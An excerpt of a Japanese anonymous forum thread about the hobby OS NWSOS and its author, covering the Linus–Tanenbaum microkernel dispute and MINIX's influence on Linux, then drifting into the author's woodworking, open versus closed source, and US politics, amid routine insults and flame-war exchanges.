ことは有名な話。本質を見抜くことができてない。

やっても見てないことのどこに事実関係を見いだせと言うのか。
全く。

あれ、733,734はわて。

>>732
>ちなみにLinusはmicro kernelを否定などしていません。
>ただ単に適材適所であり、当時のLinuxはmicro kernelには適合しないと言っただけ。

結構否定的だったんじゃないの。

最近、聖書を読んでたら、
「何の権威を持って、そのことを言うんですか?」
って下りがよく出てきた。

少なくとも、Linusの権威を持ってすれば、Tanenの主張は間違ってる
ことになるはず。

>>734
つまりやっても見てないことをあんたは言及したわけか。

それにLinusはTannenbaumのOSアーキテクチャに関する業績、
特にmicro kernelに関する業績には十分に敬意を払っている。
あんたの放言はLinusとTannenbaumの両方を侮辱する内容だ。

>>737
> 少なくとも、Linusの権威を持ってすれば、Tanenの主張は間違ってる
> ことになるはず。

科学は宗教だの何だのと言って、
結局あんたこそが権威で物事を判断する信者というわけだ。

仮にも理系がHzとbpsを混同するなどありえない
いつの間に偽モノと入れ替わったんだ

>>733
> Tanenが、メモリ保護のないマイクロカーネルのサンプルを作った
> ことは有名な話。本質を見抜くことができてない。

それと、「Linusが作った問題だと、Tanen.教授は落第になる。」ことと
一体どういう関係があると言うのか、非常に興味がある。

>>741
そんなの当り前だろ。興味があるなら現物にあたってみろ。

>>740
そんなとこに注意を払ってなかったんだべ。

>>738
そうだったっけ?

確かに、Tanen.には侮辱になるかもね。別にそれでいいで。

>>739
色々考察した結果結論を出したものだとしても、
人に説得させるときには権威みたいなものが必要になることもある。

イエス様はこんなことを言いました、とか、お釈迦様は
こんなことを言いました、みたいにね。

子曰く、とか

>>741
ところで初期バージョンのLinuxはMinixからのコードを
使っていたこと知った上で言ってるのか？

>>745
> 色々考察した結果結論を出したものだとしても、

いや、あんたの暴論は何も考えずに印象だけで妄想しただけ。

LightConeの日記スレ状態から、ひさしぶりにOSネタになったな。

>>747
最初に公開された 0.01 の段階ですでにMINIX起源のコードはないよ。
それより古いコードではどうだかしらんが。

・参考にした
・MINIX上でクロスコンパイルしていた
の二つは正しいが、コードを使っていたという事実はない。

参考にしたもコピーしたも本質的には同じ

だんだん苦しくなってまいりましたｗ

>>748
> の二つは正しいが、コードを使っていたという事実はない。

0.0.1以前はファイルシステムモジュールをMINIXから拝借していたという話は？

>>751
>0.0.1以前は

公開してないじゃん。

>>752
公開しているかどうかは問題じゃないだろ。

>>753
じゃあ何が問題なんだよ。

馬鹿か？
初期バージョンのLinuxはMinixからのコードを使っていたかどうかに決まってるだろ。

minixをぱくったからGPLに感染したんでしょ？

Linuxは最初の段階でMinixからの影響を強く受けているのは周知の事実であり、
その意味で>>747の論旨自体は正しい。ただし、俺が知る限り(comp.os.minix
およびTannenbaumによるLinux History文書)ではLinuxは最初からMinixのコードは
全く含んでいなかった。>>747はその意味で事実誤認と思われる。

ただし、「コード」を「ファイルシステム」あるいは「コードの作法」と置き替えれば
正しいし、LinusがTannenbaumを尊敬していた事は隠しようがない事実であり、
「LinusならばTannenabumを落第させる」という妄想は暴論以外の何ものでもない。

>>757 さんに座蒲団２枚！

>>757
事実誤認からスタートして結論が暴論なのに、論旨自体が正しいとはこれいかに。

>「ファイルシステム」あるいは「コードの作法」と置き替えれば
これがありだったら話はMINIXだけにおさまらなくなる罠。

>>757
>LinusがTannenbaumを尊敬していた事は隠しようがない事実であり、
初耳でんな。

批判しまくってたはずだけど。

>>759
ちゃんとログを読めばわかるはずだが、まず>>747氏の論旨は、

> いや、あんたの暴論は何も考えずに印象だけで妄想しただけ。

という部分であり、その主張の傍証としてMinixコードからの影響を挙げている。
ここで、>>747氏の言う「あんたの暴論」とは、LCが>>711で言っている、
「Linusが作った問題だと、Tanen教授は落第になる。」であることは明白。

つまり、傍証である「Minixからのコードを使っていた」は事実誤認であるが、
論旨である「LCの発言は暴論」は正しい。なぜならば、傍証そのものは
事実と完全に合致はしないが、LinusがTannenbaumの業績を認め、
Minixの価値を認め、その影響を受けていることは紛れもない事実だから。

>>761
>LinusがTannenbaumの業績を認め、
>Minixの価値を認め、その影響を受けていることは紛れもない事実だから。

なんでやねん。
一応動いているものの設計図を少しは参考にするのは当然のことやん。

尊敬とか関係ない。

あれだけTannenを批判してるのにどうやって尊敬してるといえまんねん。

Linus and Me

Some of you may find it odd that I am defending Linus here. After all,
he and I had a fairly public "debate" some years back. My primary
concern here is trying to get the truth out and not blame everything
on some teenage girl from the back hills of West Virginia. Also, Linus
and I are not "enemies" or anything like that. I met him once and he
seemed like a nice friendly, smart guy. My only regret is that he
didn't develop Linux based on the microkernel technology of
MINIX. With all the security problems Windows has now, it is
increasingly obvious to everyone that tiny microkernels, like that of
MINIX, are a better base for operating systems than huge monolithic
systems. Linux has been the victim of fewer attacks than Windows
because (1) it actually is more secure, but also (2) most attackers
think hitting Windows offers a bigger bang for the buck so Windows
simply gets attacked more. As I did 20 years ago, I still fervently
believe that the only way to make software secure, reliable, and fast
is to make it small. Fight Features.

>>763
先に喧嘩を売ったのはタネさん。
LinusはLinuxが攻撃されたから、それに反論しただけ。

>>765
あの反論を見る限り、Linusはマイクロ・カーネルの方が、
モノリシック・カーネルより勝っているとは思ってない。
けど、Tannenは思い込んでる。

完全に理解の相違があるはず。

>>766
理解の相違があることと、相手の仕事に一目置くことは全く別。

リーナス自身、ＬＩＮＵＸを開発するための環境はMINIX上に構築したし、
ＬＩＮＵＸの最初の情報を発表したのもＭＩＮＩＸのニューズグループ。
これだけでもリーナスのＭＩＮＩＸに対する姿勢がわかるというもの。

リーナスはＭＩＮＩＸについてキツいことを言っているが、
それはタネンバウムがＬＩＮＵＸをいきなり攻撃してきたから。
ってことじゃね？

>>764
この人の言うことは、全然納得できない。
プログラムの安全性には、そのサイズが小さいことが重要なことと、
マイクロ・カーネルの方がモノリシック・カーネルより優れている
こととはあまり関係ないのに、関係あると思いこんでるみたいだし。
マイクロ・カーネルは、サブシステム間でメモリ保護が働くことが
最大のセキュリティー上のメリットであって、プログラムの複雑さ
や、分かりにくさは、むしろ、モノリシック・カーネルよりも増大
してしまう。モノリシックカーネルなら、単純にサブルーチン・
コールですむところが、面倒なメッセージ・パッシングになって
しまう。また、サブシステム間の主従関係の通りにメッセージの
やりとりの方向を取る場合は美しいが、逆向きにどうしても連絡
を取りたいときには、ややこしいくなる。
Linusも、モノリシックの方がプログラミングしやすいことを
主張している。プログラミングしやすいことは、セキュリティー上
で大きなメリットとなる。

この辺のことは、実際に大きめのアプリなどを組んだことがない人には
実感として伝わらないかもしれない。

>>767
Tannen.の最大の主張、自信を持って何度も何度も言っている主張、に
おいて、Linusは同意をしていない。

人間の心理は、他人には分かるものではない。しかし、このような
状態で相手に尊敬の念を抱くとは普通思えない。

>>767
>リーナスはＭＩＮＩＸについてキツいことを言っているが、
>それはタネンバウムがＬＩＮＵＸをいきなり攻撃してきたから。
>ってことじゃね？

人の心理は、他人が正確に見抜けるものではないので、もし、
Linusの信条について、何人かの推論社によって、なんらかの結論を
得られたとしても、それが正しいという保証は全く得られず、
憶測の域を出ない。

しかし、一ついえることは、LinusがTannen.が確信を持って言っている
マイクロ・カーネル優位論について、批判的である、ということ。
そういう状態相手に敬意を払えるとは、通常の心理状態とは思えない。
もちろん、個人差があり、一概にいえるものではないのは当然のこと
であるが。

>>770
> 人の心理は、他人が正確に見抜けるものではないので、もし、
> Linusの信条について、何人かの推論社によって、なんらかの結論を
> 得られたとしても、それが正しいという保証は全く得られず、
> 憶測の域を出ない。

にもかかわらず、あんたは決めつけたわけだ。

>>771
決めつけてない。

Linusが試験問題を作ったら、

「マイクロ・カーネルが、モノリシック・カーネルより新しい技術
であるというような浅い主張があるが、これは誤りである。その
理由を述べよ」

とかいう問題になるかもしれない。ということを言ってるだけ。

これに対して、Tannen.が、

「この問題自体に誤りがある」

と書いたら、0点であり、落第に違いない、と言っているだけ。

問題としては、
「新しい」--->「優れている」
と書いた方が適切かも。

>>770
> しかし、一ついえることは、LinusがTannen.が確信を持って言っている
> マイクロ・カーネル優位論について、批判的である、ということ。

そりゃそうだ。

> そういう状態相手に敬意を払えるとは、通常の心理状態とは思えない。

はあ？あんた、自分の唯我独尊ぶりを他人にもあてはめてる？
むしろ、普通の人は、意見の相違があろうとも、きちんと成果を出している
人に対してはそれ相応の尊敬の念を払うものだ。
少なくとも自分が開発ベースに使っているＯＳの作者を尊重するのは
極めて自然な心情だ。

>きちんと成果を出している人に対してはそれ相応の尊敬の念を払うものだ。

Minixって成果だったのか。メモメモ

>>772
やっぱ決めつけてるじゃん。

> とかいう問題になるかもしれない。ということを言ってるだけ。

結局、そんな問題文は実在しないわけだろ？

> これに対して、Tannen.が、
>
> 「この問題自体に誤りがある」
>
> と書いたら、

そんな答案は存在していないのだろ？

> 0点であり、落第に違いない、と言っているだけ。

そんな採点基準がいつ採用された？

どれもあんたの決めつけにすぎない。

>>776
仮想的な話がすべて「決めつけ」ですか。

もういいや。はいはい、私は馬鹿です。すみませんでした。
終わり。

>>775
> >きちんと成果を出している人に対してはそれ相応の尊敬の念を払うものだ。
>
> Minixって成果だったのか。メモメモ

タネさんの業績はＭＩＮＩＸだけじゃないだろ・・・
もちろんＭＩＮＩＸも成果の一つであることは間違いないけどな。

>>777
少なくとも実在する著名な個人名を挙げて
「ＸＸＸはＹＹＹの試験に落第する」などというのは
仮想的な話などで済まされるものではない。

>>778
フリーソフトウェア論争の時も、その後も、
いつもそうやって相手の意見に耳を塞いで
きちんと受け取ろうとしない。
その姿勢を改めないかぎり、
君はいつまでたっても成長しないだろう。

>>780
>フリーソフトウェア論争の時も、その後も、
>いつもそうやって相手の意見に耳を塞いで
>きちんと受け取ろうとしない。

私の脳は、あなたの脳とは全く構造が違うのか、あなたの言っている
ことは、10年期いても理解できないんです。耳の穴はよく掃除されて
ますし、よく聞いてますし、英文も全部読破しましたが、どれも
これも、全く納得ができないものばかりで、これ以上聞いても
無駄だと判断したのです。

話し合っても解決できないことが世の中にはあるんですね。
イエスさんも、みんなから嘘つき呼ばわりされて殺されてしま
いました。もし、本当にヒーリング能力があったのかもしれ
ないのに、理解できない人には理解できないんですね。

今までで一番不味い発言だな

>>778
他人の意見を聞く気がなくていつもそんな結論にしかならないのなら、
こんなところに書かないで自分の日記帳でやってくれないか？
多くの人はお前の落書きを見たいとは思っていないし、迷惑なんだが。

>話し合っても解決できないことが世の中にはあるんですね。

お前はその経験がかなり多そうだな。

MINIXにくわしい２ちゃんねらーと言えば。。。

>>783
このスレはワテの専用スレ。よくみろ。アホ。

文句あるならスレごと削除してもらえ。何度も依頼してるのに
削除された試しがない。

> PC/AT互換機用OSのNWSOSについて和やかに、時には殺伐と談笑するスレッドです。
> 作者氏曰く、改造・組み立て型のOSを目指しているそうです。
> 今はクローズドですがOSのソースはその内公開するような気がするとかなんとか。

どこにもお前のスレとは書いてないボケが

>>話し合っても解決できないことが世の中にはあるんですね。
>お前はその経験がかなり多そうだな。

そりゃ、話し合いが通じない相手の方が割合的に多いからやな。

自分と同類が多い人は通じるややな。統計的に考えて、世の中の
平均的な性質を持っている人には価値観も平均的になる可能性が
高いやろうから、数の上では同意見の人が多くなり、多数決では
楽になるやろ。

逆に統計から外れた性質を持っている人は、何かと意見が食い違うのは
しゃあないんちゃうか?

ちなみに、テレビやなんかの統計で最も多い意見と逆さまの意見で
あることは、ワテはめちゃくちゃ多いから、意見が合わない人が
多いのは当然のこと。だから、みんなと仲良く仕事も議論もしたくない。
ネットみたいに誰でも多くの人が集まるようなところでは、一人が一番
やりやすい。

>>786
NWSOSの作者はワテやから、ワテのスレや。そんなことも分からんのか、
おまえは?

ワテがクローズドにしてる理由はそこなんや。

まだ分からんのか?

いくら話し合っても通尋もんは通じんのや。経験的にな。

公私混同も甚だしい作者だな

あのなあ、世の中で一番多い意見は、オープンソース大歓迎かも
しれんで。

そりゃ、当然で、平均的な力の人たちは、自分よりも優れた人が、
人口の半分もいるんやから、他人のソースを見たくなるからや。

だから、他人のソースを見たい人は、統計的にものすごく多くなり、
多数決をすれば、オープンソース賛成派の独壇場になるのは当然
なんや。

逆に、仮に平均よりも遙かに上の人たちは、どう思うと思う?
自分がその立場やったらどうや? 自分から見て見る価値もないような
設計図ばかりあってもしゃあないやろ。逆に自分の設計図がただで
見られたらめちゃくちゃ嫌や。あたりまえやないか。

だから、そういう人たちは、クローズド賛成になるんや。

あのな、知識の豊富さと、設計能力との相関はあまり高くないから、
知識が豊富な人にオープンソース派が多くても、それが優れた
人の意見ではないんや。その辺が分かってない奴が多すぎるんや。
だから、日本はオープンソース賛成な奴が多くなるんや。

>>790
このスレ、削除依頼出してるんや。早くなくなって欲しいと思ってるんや。

ここはOS板。OSに関する話題で盛り上がる掲示板。
多少の日記はわかるがあなたは目に余る。
OSと無関係な日記で埋め尽くしたいなら他所に行ってくれ
別にスレを削除する必要も埋める必要もない

>>793
ワテに関してかかれているスレを、ワテ自身が削除依頼してるのに
全然消されない。何年も前に以来出したのに。

そんな無責任な掲示板やから、こっちも無責任にしてやったってるんや。

そっちがそういう態度やから、こっちもこういう態度にしてるんや。
偉そうなこと言っても、何の説得力もあらへん。

この板がどうなろうとしったこっちゃない。本来消えてるはずなん
やからな。

>>793
なぜ、自分についての話題がかかれる場所から、自分がさらな
あかんねん?　話がおかしいわ。

いったい、ワテを敵に回して何の議論するつもりなんや?

NWSOSの議論をするのに、その作者を敵に回してどないするつもりや?

どういう思考回路してんにゃ。

あのなあ、OSについて議論できるような場所ちゃうと思ったから、
アホなことばかり書いたってたんや。

関係ない工作の話とかな。

OSについて書いたら、馬鹿やアホやの罵倒が飛んでくるからな。
経験的に。そして、OSについての進捗状況とか書こうものなら、
偉そうにすんなとか、態度がでかいだの、全然できてないだの、
基礎ができてないだの、うるさいからかかへんにゃ。

おまえらみたいに、ワテは頭よくナインや。頭の構造が違うんや。
だから、おまえらの基礎はワテには全然基礎でもあらへんし、
勉強する気もおこらへん。アホやからオマエらの言う基礎の価値が
わからへんのや。いくら話されても、アホなワテには理解できへん。
聞こうとしてへんのやあらへんで。聞いてもあんたらの言うことは、
ワテの能美嘘では全く理解できへんのや。性格が悪いんやあらへん。
ワテがあほすぎて、あんたらの言うことが理解できへんのや。
わかったら、アホに教育させようとせずに、あんたらはあんたらで
がんばれや。

>>794
できそこないの小学生のような言い草だな。ま、それはともかく。

まとめると、Lは削除してもらえなかったということを理由に、
スレに対して嫌がらせをしているということでいいのか？

人の嫌がるようなことを意図的にやっているんだよな？
スレには確かに悪いヤツがいるかもしれないが、いいヤツだってきっといるだろう。
そういうのを全部一緒にして、無差別で嫌がらせしているつもりなんだな？

確かに人徳の無いヤツだ。うわさ通りだな。

>>795
だったらお前は何も書かなければいい。
誰もお前に書いてくれなんて頼んでない。
このスレはお前がこないほうがずっとまともだ。
ノイズが増えるくらいなら、何も書かないほうがましだからな。

それともあれか、お前はNWSOSの話題がある掲示板では全てに顔を出して
何か書き込まないといけないとでも思っているのか？
自意識過剰だよ、それは。

>>797
おまえみたいな、嫌みな奴がいるこういうスレだけですので、心配せんでも
いいですわ。(w

>>796
あなたも人徳がないですね。

>>796
あなたは、チンパンジーの愛ちゃんが書いたように天才的な文章を
おかきになりますね。立派なこって。

783さんよ、実世界でかかってこいや。鍛え直してやるから。

必 死 で す ね

>>791
L氏の偽者だろう
仮に人間の力を数値化できたとしても
平均的数値の人間が分布の中央にいるとも限らず、ピークにいるとも限らない
本物のL氏ならこんな恥ずかしい論理展開はしない

またKに喧嘩売りたくなったんだろう。いつもの躁鬱だ、ほっときなよ。

どうやら、鬱フェーズに移行したようだな。しばらくの間、さようなら。

近江人は今、熊との戦いで疲れているんだよ！

　　 ∩＿＿＿∩
　　 | ノ　　　　　 ヽ
　　/　　●　　　● |　ウマﾞ──！！
　 |　　　　( _●_)　 ミ 　　　近江人
　彡､　　　| ､ﾆﾆﾆﾆﾆﾆﾆﾆﾆﾆﾆﾆつ
/　＿＿　 ヽノ　/´>　 )
(＿＿＿）　　　/　(_／
　|　　　　　　 /
　|　　／＼　＼
　|　/　　　 )　 )
　∪　　　 （　 ＼
　　　　　　 ＼＿)

>>807
近江牛と間違えてんのとちゃうか?

本州にすんでる熊は、基本的にツキノワグマなので、
人は食べまへん。というより、食べられないというか。

肉よりも木の実とか食べてるんだったと思うけど。
だって、本州に食べられるような野生動物はあまりいないので。
せいぜい、魚、ネズミ、鹿、モグラ、リスくらいかな。
でもあんまりいないし。

イノシシ、サルとかもいるか。
でもそんなものは食べそうにないで。

猿の脳味噌スプーンで救うのを想像してしまったozr

日立の安売りでも1万5000円以上するジグソー、高いだけのことは
ありますた。

やっぱ、2980円のとはわけが違います。

思った通りにまっすぐ切れるし、切断面も綺麗だし、ちゃんと切り口も
垂直になってるし。

やっぱり無段階速度調整機能は、かなり○。最初と最後は少し速度を
落とし気味にしたりできるので、便利。オービタル機能はまだ使って
ないけど。

自意識過剰

コーナン・オリジナルのソー・ガイドは、あまり使用感は良くない。
まず、一番大事な90度も、分度器で設定しなきゃならず、精密に
設定するのが大変。分度器で計った程度では正しい90度を作るのは
本当は無理。

それにガイドが単なる薄い鉄板一枚なので、ジグソーのプレートに
引っかかる量が少なく、下手すると滑ってしまいそうだった。

それと、クランプも付いてるけどどこに付けていいのかもよく分から
ないし、付けるのにネジをかなり回さないといけないので、直角さ
と位置をずらさないようにしたまま、このクランプを取り付けるのは
大変。

むしろ、ジグソーに付属していた、ジグソー本体に取り付けるガイド
の方が作業性が良かった。こちらは、直角にするんではなく、平行
にするって感じなんだけど、結構上手くいく。

マジで自分の掲示板で駄弁ってろよって思った＞青木

公開オナニーはより多くの人が見てるとこでやりたいんだろう

>>815
どなたはんどすか?

青木さやか はん?

婿　入　り　し　た　な

NWSOS作ったL氏と今のL氏は別人ですよ
昔との共通点は連投くらいのもので、知性が酷く劣っているのは明白

マジで自分の掲示板で駄弁ってろよって思った＞豊

これでいいか？

自民党にも青木豊がいますよといわれて終了

やっぱり、今度のジグソーは凄い。。
全くガイドなしでも、1mm以下の余分な部分だけを切り落とせた。
切り口も、それなりに垂直だし。
無段階変速、かなり役だってますです。

さんざん板違いだと指摘されても日記レスをやめない電波荒らしがいるスレはここですか？

>>823
大体板は切れるよ。

青木いさお

やっぱ今更プロプライエタリなOS書くだけあるね

http://www.zairyo-ya.com/product_suzu.htm

減摩合金で鋳造でもしてみようかな。

http://www.zairyo-ya.com/product_cast-tool.htm

ルツボも、鋳砂も意外にリーズナブル。

>>826
>やっぱ今更プロプライエタリなOS書くだけあるね

嫌み?

理学とものづくりが好きで工学の嫌いな青年。
煽ってるのは馬鹿工学部とオプソプロ市民か。

>理学とものづくりが好きで工学の嫌いな青年。
好きなだけで向いてはいないあたりが悲劇的。

こんばんは、(^_^;)/

...

では、また会う日まで(^_^;)/

「ちゃっかりカウンター」
今日は1,087です。
昨日は 1,113です。

今日は6分しか経過してないから、これは記録的なアクセス数って
ことでっか。

ところでこのｽﾚの皆さんはアメリカ大統領選挙に関心はおありですか？
私はケリーが割と良いと思います。ブッツュは馬鹿なので嫌です。
副大統領候補は２人とも最低ですね。

最近の大統領では栗キントンが大大大嫌いです。霊癌も嫌いでした。
ぱぱブシュは比較的良かったと判断しています。

>>833
個人的には、子ブッシュ以外なら誰でもいいって感じですか。(^_^;)

そんなこと言ったら、もっと酷い隠し球があったら困るか。(^_^;)

子ブッシュよりは、ゴアでもよかったかなとも思うけど。

クリントンは、働くのが好きな人だったようで、すさまじい労働時間
だったとか聞いたような。好きではないけど、まあ、頭はよかったんじゃ
ないかとは思う。

子ブッシュは、判断力の面で危うく、世界が危機に陥ることが怖い。

差別的なことかもしれないけど、父ブッシュと子ブッシュって顔つき
みるだけで、優秀さの違いが分かってしまうような。

見た目で判断してはいけないのかもしれないけど、子ブッシュは、
しばらく酒におぼれていたそうで、顔を見てもそういう痕跡が
残っているような。かわいそうな話ではあるけど。

一国の大統領に、アル中で判断力が何割かなくなってしまったような
人がなるのは、正直怖いと思う。今はアル中ではないだろうけど、
残ってそうな。

左翼に転向？>L

どっちでもないで。

>>840
でも嫌韓でしょ？

プロプライエタリ=右翼

>>841 おいらは親韓。アンニョンハセヨ。シンレスムニダ。

>>841
嫌韓っていうか、向こうが日本人を嫌ってるビームを出しまくってるから
そりゃ嫌になるわけで。

>>842
いや、日本の場合、談合気質や横並び意識が強いから、むしろ
オープンソースでみんな平等方式の方が右翼かもしれない。

ちゅうか、自由競争は、競争と報酬の両方があってこそ成立するも
ので、報酬の差が無い状態で競争しろって言っても出来る分けない。
オプソは、技術があるところより、ライブドアみたい何やってるか
分からん所が儲かる仕組みやで。

IBMみたいな会社って、図体がでかくって、ほとんど役所みたいな
感じや。そう思わん? ハードディスク作ってる以外、何やってる起業か
分からんことないか? そういうところがオプソを応援するんや。

考えてみたら、ビル・ゲイツだって、大学中退で、一人で
あそこまで会社大きくしたんや。一番大事な初期の頃は、政府に支援
してもらっとらへんやろ。今は知らんけどな。昔、巨大なIBMの申し出
断ったんちゃうかったかな。あれは、巨大なナアナア組織に巻き込まれ
たくなかったんやろ。

あのな、ライト兄弟とかもなんか似てたみたいやで。当時、大学が
政府から金もらって国ぐるみで飛行機の開発してたんやけど、
結局実際に飛ばせなかったそうや。ライト兄弟は自転車屋やったけど、
実際に飛ばしたんやっていうやないか。

>>844
日帝の生き残りの着て我意が騒ぐからだろ ヒフミ文字でもつかってよろこんでろ


>>846
芸氏は一人で会社作ったわけじゃないよ。　新だ人もいるんだっけな

http://www-6.ibm.com/jp/shop/direct/gov/index.shtml
「IBM 官公庁・教育・医療機関向けショッピング」

http://www-6.ibm.com/jp/government/
「日本IBMは、官公庁・地方公共団体のお客様向けに、さまざまな
ソリューションをご提案いたします。電子申請や文書管理など、
行政のあらゆる分野におけるIT活用を、最新の技術と豊富な経験で、
最大限にサポートいたします。 」


前から、オプソ派は、「ソリューションで設ければいいんや、
おまえは頭が固い、古い」とかなんとか言っとったが、これ
みてみ。案の定やろ?

自分らこそ一番古い体質なんや。

http://japan.cnet.com/news/media/story/0,2000047715,20064112,00.htm

こんなんとかもや。

IBMと日本政府、癒着してるんかもな。
日本政府や、大手を上げて、オプソ賛成で、気持ち悪い。

競争ができる環境を積極的に破壊するのが日本政府のいつも
やってることや。

>>847
元々は、別に韓国のことは嫌い違う。

日本も昔悪いことしたんやろうし。歴史認識も日本は変なのかも
しれん。それに靖国参拝も、反感買ってまでしてる日本政府の
気が知れない。

そやけど、日本の文化を解禁してない状態で、日本のこと知った
ように思ってるようなのが、どうも、おかしい。日本の最近のドラマ
や映画がおもしろくないのは日本人自体も分かってるし、
どうも、マスコミが東京に集中してることとかも関係してる
のかもしれないし。

>>836
>ゴアでもよかったかなとも思うけど。
情報ハイウェイ構想の人ですな。彼が９０年代のアメリカのネット産業
繁栄の政治側の立役者ですからね。

>クリントンは、働くのが好きな人だったようで、
自分がアメ人だったならクリントンの政策を支持したと思うが、対日政策
や外交がひどかったので‥‥。

>>850
>IBMと日本政府、癒着してるんかもな。
>日本政府や、大手を上げて、オプソ賛成で、気持ち悪い。

当然あるでしょう。

ちなみに、誤字があって、
「日本政府や、」--->「日本政府は、」
ってことなんやけどね。

癒着が指摘されるのは、落ち目の産業になったとき。
情報系はもうしばらくは放置じゃないのかな。

LCって、どうしてこう都市伝説を鵜呑みにするんだろうね。
オウム信者と同じ、かなり危険な精神構造だと思うよ。

>>791
ようするに、俺はお前らより、ずっとずっとレベルが上なんだぜ！
って事？
その後に、自分の事をアホ扱いしているが、とりつくろいっぽいしな・・・。

このスレはＬＣ氏の為のスレだと思うので別に良いけどねｗ

IBMが何やってるかも知らないひきこもりが社会に対してどうこう言おうとは。
やれやれ。

>>791
> そりゃ、当然で、平均的な力の人たちは、自分よりも優れた人が、
> 人口の半分もいるんやから、他人のソースを見たくなるからや。
>
> だから、他人のソースを見たい人は、統計的にものすごく多くなり、
> 多数決をすれば、オープンソース賛成派の独壇場になるのは当然
> なんや。

ものすげー統計的に破綻した理屈だな(爆笑
たった半分でどうやって独壇場になるんだか

>>859
その辺にころがっているソースの中から、自分より優れたコードが見つけ
られる可能性が10%未満の人、つまり、偶然見た10ソースのうちの1ソース
だけがその人にとって見る価値があるような人の割合を算出してみ。
取りあえず、能力の分布が標準偏差σ、平均μの正規分布として。
その後、正規分布してない場合について考察してみ。

分布が違ったらどんな風に変化するけ。

http://210.203.245.133/test/tdiary/?date=20041013

やいおまいら独逸語得意だろMankoって何だ

>>860
つまり、自分が提示した
>>791
> そりゃ、当然で、平均的な力の人たちは、自分よりも優れた人が、
> 人口の半分もいるんやから、他人のソースを見たくなるからや。
>
> だから、他人のソースを見たい人は、統計的にものすごく多くなり、
> 多数決をすれば、オープンソース賛成派の独壇場になるのは当然
> なんや。
は前提が間違っていたということか。正直者だね、マジで感心するよゲラ。